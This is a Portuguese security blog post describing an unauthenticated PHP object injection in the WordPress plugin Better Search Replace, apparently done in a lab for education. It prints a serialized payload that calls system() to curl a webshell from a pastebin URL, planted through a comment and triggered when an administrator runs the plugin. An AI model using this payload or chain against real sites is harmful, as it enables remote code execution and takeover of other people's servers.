Escrito em 09/08/2020, por Growlnx.

PHP Object Injection no Better Search Replace

Atenção: A técnica demonstrada neste artigo tem o propósito de ser um material educativo, a exploração foi feita em um ambiente controlado. Não realize esta exploração sem a autorização do dono do servidor, pois isto poderá resultar em um crime!

O Better Search Replace é um plugin que possui a função de fazer exatamente o que o nome dele sugere, ele busca uma string na sua base de dados do Wordpress e substitui por outra string que você forneceu.

Sinceramente não entendo porque é tão usado, segundo o Wordpress, existe mais de 1 milhão de instalações ativas.

Dentre suas funcionalidades, o plugin consegue realizar o processamento de objetos PHP serializados, então resolvi fazer Code Review deste plugin.

Depois de algum tempo na análise estática, encontrei o trecho de código abaixo, ele é responsável por realizar a deserialização. Achei interessante, logo comecei a análise dinâmica.

Infelizmente não encontrei um trecho de código que possibilitasse iniciar a POP Chain utilizando o próprio plugin (que por acaso tornaria a vulnerabilidade bem mais crítica) :disappointed:. Por sorte, o Wordpress permite que um plugin consiga acessar as classes ou funções que foram definidas em outros plugins, ou seja, não existe um “sandbox”. Consequentemente, isto abre a possibilidade de iniciar a POP Chain utilizando o código-fonte de outros plugins.

Para facilitar a minha vida, criei o plugin “WP Object Injection Proof of Concept”, este plugin possibilita o ataque de Reutilização de Código, me poupando tempo com POP Chains.

Ele se resume a nessa pequena classe com o método mágico “__wakeup”. Caso deseje reproduzir em um cenário mais aproximado da realidade, recomendo que veja o PHPGGC, pode te ajudar.

Meu objetivo neste momento é fazer download de uma webshell e conseguir a RCE desautenticado. O payload abaixo fará o download de um arquivo do pastebin usando o curl.

O:2:OI:2:{s:3:cmd;s:48:curl -o ws.php https://pastebin.com/raw/E3cNN0Zy;s:3:fcn;s:6:system;}

Agora só resta saber onde devemos realizar a injeção… que tal nos comentários?

O plugin permite que o usuário realize o processamento na tabela de comentários, isso é bem legal, pois podemos injetar o payload nos comentários e esperar a iteração do administrador no plugin Better Search Replace para disparar a substituição.

Como pode se observar na imagem acima, o administrador é notificado a respeito do comentário, logo, também será necessário contar a sorte.

Se o payload for interpretado com sucesso, o download de uma simples webshell será realizado no diretório “wp-admin”.

Voilà!, foi possível obter uma unauth RCE através de uma deserialização insegura do conteúdo nos comentários.

Referências